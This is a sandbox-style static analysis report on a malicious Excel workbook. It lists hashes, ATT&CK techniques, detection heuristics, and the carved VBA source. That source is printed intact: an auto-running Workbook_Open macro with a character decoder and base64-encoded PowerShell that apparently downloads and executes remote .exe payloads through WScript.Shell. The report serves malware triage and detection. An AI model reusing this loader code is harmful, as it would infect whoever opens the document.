Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 61bf0ea0cf0cafb9…

MALICIOUS

Office (OOXML)

17.8 KB Created: 2021-06-30 16:10:48 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-07
MD5: 5d6e8de0036df29d8d37e1b5481e2592 SHA-1: 69cf14e7dd285221d150b6d16b7b6a33ee9f2cb4 SHA-256: 61bf0ea0cf0cafb9b011fafa55918559eba0556c80de2a150e98950cb54cebfb
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample contains a Workbook_Open macro that triggers obfuscated VBA code. This code utilizes WScript.Shell and CreateObject to execute commands, likely to download and run a second-stage payload. The obfuscation and use of auto-execution routines are common in macro-based malware delivery.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    gxhmtrkuvrhpfwrv = 0
ryqmqeosqu = "WSCript.shell"
Set rypiatdnoslhjjtwpxfoahyqnuimclchisnx = CreateObject(ryqmqeosqu)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    gxhmtrkuvrhpfwrv = 0
ryqmqeosqu = "WSCript.shell"
Set rypiatdnoslhjjtwpxfoahyqnuimclchisnx = CreateObject(ryqmqeosqu)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ryqmqeosqu = "WSCript.shell"
Set rypiatdnoslhjjtwpxfoahyqnuimclchisnx = CreateObject(ryqmqeosqu)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub workbook_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7621 bytes
SHA-256: 0bdd612c2ca2845c57ddf15c951b78a1514eff99e47ada6dc293e2a503ec034e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()

kqbr.chqc
dh = 76

End Sub

Attribute VB_Name = "Hoja1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "kqbr"
Sub chqc()
On Error Resume Next
vsv = dg___s(166) & dg___s(144) & dg___s(167) & dg___s(99) & dg___s(114) & dg___s(166) & dg___s(99) & dg___s(179) & dg___s(178) & dg___s(161) & dg___s(154) & dg___s(161) & dg___s(136) & dg___s(149) & dg___s(150) & dg___s(161) & dg___s(171) & dg___s(168) & dg___s(161) & dg___s(143) & dg___s(143) & dg___s(99) & dg___s(112) & dg___s(168) & dg___s(99)
edpscxxgwnhpmsntgwckwbluxke = "tldlggodyoyhnmpxletvqcfplmjecru"
vsv = vsv & "WwBzAFkAUwB0AEUATQAuAFQARQBYAHQALgBFAE4AQwBPAEQASQBOAEcAXQA6ADoAdQBuAEkAYwBvAEQARQAuAGcAZQBUAFMAdAByAGkAbgBnACgAWwBzAFkAUwB0AEUATQAuAGMAbwBOAFYARQByAHQAXQA6ADoARgBSAG8ATQBiAEEAcwBFADYANABzAHQAUgBpAG4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAGsAQQBNAEEAQQB3AEEARABBAEEATwB3AEEAZwBBAEMAUQBBAGEAUQBBAHIAQQBDAHMAQQBLAFEAQQBnAEEASABzAEEASgBBAEIAcABBAEMAdwBBAEkAZwBCAGcAQQBHADQAQQBJAGcAQgA5AEEASAAwAEEASQBBAEIAagBBAEcARQBBAGQAQQBCAGoAQQBHAGcAQQBlAHcAQgA5AEEAQQAwAEEAQwBnAEIAb"
ursevsbbiypofiopyheaqeooqgo = auxjahudpuiuf
vsv = vsv & "QBBAEgAVQBBAGIAZwBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAagBBAEgAWQBBAFoAdwBCADYAQQBIAFEAQQBiAGcAQgBsAEEARwAwAEEAYgB3AEIAMQBBAEgAZwBBAGQAdwBCAGsAQQBHAG8AQQBhAHcAQgAxAEEASABrAEEAZQBBAEIAawBBAEMAQQBBAEsAQQBBAGcAQQBDAFEAQQBaAEEAQgAwAEEASABNAEEAWgBnAEIAbABBAEcAawBBAFkAUQBCAHkAQQBIAG8AQQBkAEEAQgBsAEEARwBvAEEAYgB3AEIAMQBBAEMAQQBBAEwAQQBBAGcAQQBDAFEAQQBkAGcAQgAwAEEARwBnAEEAWQBnAEIAdABBAEgARQBBAGMAQQBCADAAQQBHAHMAQQBlAEEAQgB1AEEASABFAEEAYQBBAEIAMQBBAEcAYwBBAGMAQQBCAG0AQQBHAGsAQQBaAGcAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAHAAQQBHADAAQQBjAEEAQgB2AEEARgBJAEEAZABBAEEAdABBAEcAMABBAFQAdwBCAGsAQQ"
edpscxxgwnhpmsntgwckwbluxke = "tldlggodyoyhnmpxletvqcfplmjecru"
vsv = vsv & "BGAFUAQQBiAEEAQgBsAEEAQwBBAEEAUQBnAEIAcABBAEgAUQBBAGMAdwBCADAAQQBGAEkAQQBZAFEAQgBPAEEARgBNAEEAWgBnAEIAbABBAEgASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgAwAEEARQBFAEEAYwBnAEIAMABBAEMAMABBAFkAZwBCAHAAQQBIAFEAQQBjAHcAQgAwAEEARgBJAEEAUQBRAEIATwBBAEgATQBBAFoAZwBCAGwAQQBIAEkAQQBJAEEAQQB0AEEASABNAEEAVAB3AEIAVgBBAEYASQBBAFkAdwBCAEYAQQBDAEEAQQBKAEEAQgBrAEEASABRAEEAYwB3AEIAbQBBAEcAVQBBAGEAUQBCAGgAQQBIAEkAQQBlAGcAQgAwAEEARwBVAEEAYQBnAEIAdgBBAEgAVQBBAEkAQQBBAHQAQQBFAFEAQQBSAFEAQgBUAEEARgBRAEEAUwBRAEIATwBBAEcARQBBAFYAQQBCAHAAQQBHADgAQQBiAGcAQQBnAEEAQwBRAEEAZABnAEIAMABBAEcAZwBBAFkAZwBCAHQAQQBIAEUAQQBjAEEAQgAwAEEARwB"
ursevsbbiypofiopyheaqeooqgo = auxjahudpuiuf
vsv = vsv & "zAEEAZQBBAEIAdQBBAEgARQBBAGEAQQBCADEAQQBHAGMAQQBjAEEAQgBtAEEARwBrAEEAWgBnAEEANwBBAEMAQQBBAEoAZwBBAGcAQQBDAFEAQQBkAGcAQgAwAEEARwBnAEEAWQBnAEIAdABBAEgARQBBAGMAQQBCADAAQQBHAHMAQQBlAEEAQgB1AEEASABFAEEAYQBBAEIAMQBBAEcAYwBBAGMAQQBCAG0AQQBHAGsAQQBaAGcAQQA3AEEAQwBBAEEAZgBRAEIAMABBAEgASQBBAGUAUQBCADcAQQBDAFEAQQBhAHcAQgBuAEEARwBjAEEAYwB3AEIAdQBBAEcAawBBAGIAQQBCADYAQQBIAFEAQQBkAGcAQgBpAEEASABBAEEAYQBBAEIAagBBAEcAUQBBAGMAUQBCAHEAQQBHAHMAQQBQAFEAQQBrAEEARwBVAEEAVABnAEIAMgBBAEQAbwBBAFYAQQBCAGwAQQBFADAAQQBVAEEAQQByAEEAQwBjAEEAWABBAEIAdgBBAEcAVQBBAGUAUQBCAHgAQQBIAG8AQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEQAcwBB"
mjiipzvhoub = 40473
vsv = vsv & "AEQAUQBBAEsAQQBHAE0AQQBkAGcAQgBuAEEASABvAEEAZABBAEIAdQBBAEcAVQBBAGIAUQBCAHYAQQBIAFUAQQBlAEEAQgAzAEEARwBRAEEAYQBnAEIAcgBBAEgAVQBBAGUAUQBCADQAQQBHAFEAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcAUQBBAGEAUQBCAHoAQQBHAE0AQQBiAHcAQgB5AEEARwBRAEEAWQBRAEIAdwBBAEgAQQBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB2AEEARwBFAEEAZABBAEIAMABBAEcARQBBAFkAdwBCAG8AQQBHADAAQQBaAFEAQgB1AEEASABRAEEAYwB3AEEAdgBBAEQAZwBBAE4AUQBBADIAQQBEAGsAQQBNAFEAQQA1AEEARABVAEEATQBBAEEAMQBBAEQAZwBBAE0AUQBBADIAQQBEAE0AQQBPAEEAQQAzAEEARABVAEEATwBRAEEAMgBBAEMAOABBAE8AQQBBADEAQQBEAGsAQQBPA"
'jdkwbnagxwlxxqdqcenodbhlpogkeyvpm
vsv = vsv & "EEAQQB5AEEARABnAEEATQBnAEEAeABBAEQARQBBAE0AUQBBADQAQQBEAGsAQQBPAEEAQQB3AEEARABrAEEATQBRAEEANABBAEQASQBBAEwAdwBCAHQAQQBHAGsAQQBaAFEAQgB5AEEARwBNAEEAYgB3AEIAcwBBAEcAVQBBAGMAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAcwBBAFoAdwBCAG4AQQBIAE0AQQBiAGcAQgBwAEEARwB3AEEAZQBnAEIAMABBAEgAWQBBAFkAZwBCAHcAQQBHAGcAQQBZAHcAQgBrAEEASABFAEEAYQBnAEIAcgBBAEQAcwBBAEQAUQBBAEsAQQBHAE0AQQBkAGcAQgBuAEEASABvAEEAZABBAEIAdQBBAEcAVQBBAGIAUQBCAHYAQQBIAFUAQQBlAEEAQgAzAEEARwBRAEEAYQBnAEIAcgBBAEgAVQBBAGUAUQBCADQAQQBHAFEAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAE"
'jdkwbnagxwlxxqdqcenodbhlpogkeyvpm
vsv = vsv & "EAdQBBAEcAUQBBAGEAUQBCAHoAQQBHAE0AQQBiAHcAQgB5AEEARwBRAEEAWQBRAEIAdwBBAEgAQQBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB2AEEARwBFAEEAZABBAEIAMABBAEcARQBBAFkAdwBCAG8AQQBHADAAQQBaAFEAQgB1AEEASABRAEEAYwB3AEEAdgBBAEQAZwBBAE4AUQBBADIAQQBEAGsAQQBNAFEAQQA1AEEARABVAEEATQBBAEEAMQBBAEQAZwBBAE0AUQBBADIAQQBEAE0AQQBPAEEAQQAzAEEARABVAEEATwBRAEEAMgBBAEMAOABBAE8AQQBBADEAQQBEAGsAQQBPAEEAQQB5AEEARABnAEEATQBnAEEAeABBAEQARQBBAE0AUQBBADQAQQBEAGsAQQBPAEEAQQB3AEEARABrAEEATQBRAEEANABBAEQASQBBAEwAdwBCAHQAQQBHAGsAQQBaAFEAQgB5AEEARwBNAEEAYgB3AEIAcwBBAEcAVQBBAGMAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAcwBBAFoAdwBCAG4"
ursevsbbiypofiopyheaqeooqgo = auxjahudpuiuf
vsv = vsv & "AQQBIAE0AQQBiAGcAQgBwAEEARwB3AEEAZQBnAEIAMABBAEgAWQBBAFkAZwBCAHcAQQBHAGcAQQBZAHcAQgBrAEEASABFAEEAYQBnAEIAcgBBAEQAcwBBAEQAUQBBAEsAQQBHAE0AQQBkAGcAQgBuAEEASABvAEEAZABBAEIAdQBBAEcAVQBBAGIAUQBCAHYAQQBIAFUAQQBlAEEAQgAzAEEARwBRAEEAYQBnAEIAcgBBAEgAVQBBAGUAUQBCADQAQQBHAFEAQQBJAEEAQQBuAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgBqAEEARwBRAEEAYgBnAEEAdQBBAEcAUQBBAGEAUQBCAHoAQQBHAE0AQQBiAHcAQgB5AEEARwBRAEEAWQBRAEIAdwBBAEgAQQBBAEwAZwBCAGoAQQBHADgAQQBiAFEAQQB2AEEARwBFAEEAZABBAEIAMABBAEcARQBBAFkAdwBCAG8AQQBHADAAQQBaAFEAQgB1AEEASABRAEEAYwB3AEEAdgBBAEQAZwBBAE4AUQBBADIAQQBEAGsAQQBNAFEAQQA1AEEA"
mjiipzvhoub = 40473
vsv = vsv & "RABVAEEATQBBAEEAMQBBAEQAZwBBAE0AUQBBADIAQQBEAE0AQQBPAEEAQQAzAEEARABVAEEATwBRAEEAMgBBAEMAOABBAE8AQQBBADEAQQBEAGsAQQBPAEEAQQB5AEEARABnAEEATQBnAEEAeABBAEQARQBBAE0AUQBBADQAQQBEAGsAQQBPAEEAQQB3AEEARABrAEEATQBRAEEANABBAEQASQBBAEwAdwBCAHQAQQBHAGsAQQBaAFEAQgB5AEEARwBNAEEAYgB3AEIAcwBBAEcAVQBBAGMAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEcAcwBBAFoAdwBCAG4AQQBIAE0AQQBiAGcAQgBwAEEARwB3AEEAZQBnAEIAMABBAEgAWQBBAFkAZwBCAHcAQQBHAGcAQQBZAHcAQgBrAEEASABFAEEAYQBnAEIAcgBBAEQAcwBBAEQAUQBBAEsAQQBIADAAQQBZAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEgAcwBBAGYAUQBBAD0AIgApACkAfABJAEUAWAA="
mjiipzvhoub = 40473


ftnypdutdpvmkccttzrmkdlauleovcmxalwdjeh = vsv
shxrjhpzpevqo (ftnypdutdpvmkccttzrmkdlauleovcmxalwdjeh)
End Sub
Sub IF_Not()
    MsgBox Not (True)
End Sub
Function shxrjhpzpevqo(lcrfxhtzoozilhexmkilhlpvhdwnh As String)
gxhmtrkuvrhpfwrv = 0
ryqmqeosqu = "WSCript.shell"
Set rypiatdnoslhjjtwpxfoahyqnuimclchisnx = CreateObject(ryqmqeosqu)

pfoakiewtncpt = rypiatdnoslhjjtwpxfoahyqnuimclchisnx.Run(lcrfxhtzoozilhexmkilhlpvhdwnh, gxhmtrkuvrhpfwrv)
End Function
Function dg___s(c___f)
bgfh = "dsffd  ghd gfbfgh hjgnghfg"
dg___s = ChrW(c___f - 67)
bfth = "nghffdh bgffghbnbv hfdh hgg69fh"
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 25088 bytes
SHA-256: e0dc3d564d2be0b6c3d2930ab016f84892d62c775815267e3a3e5471d845b2f0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.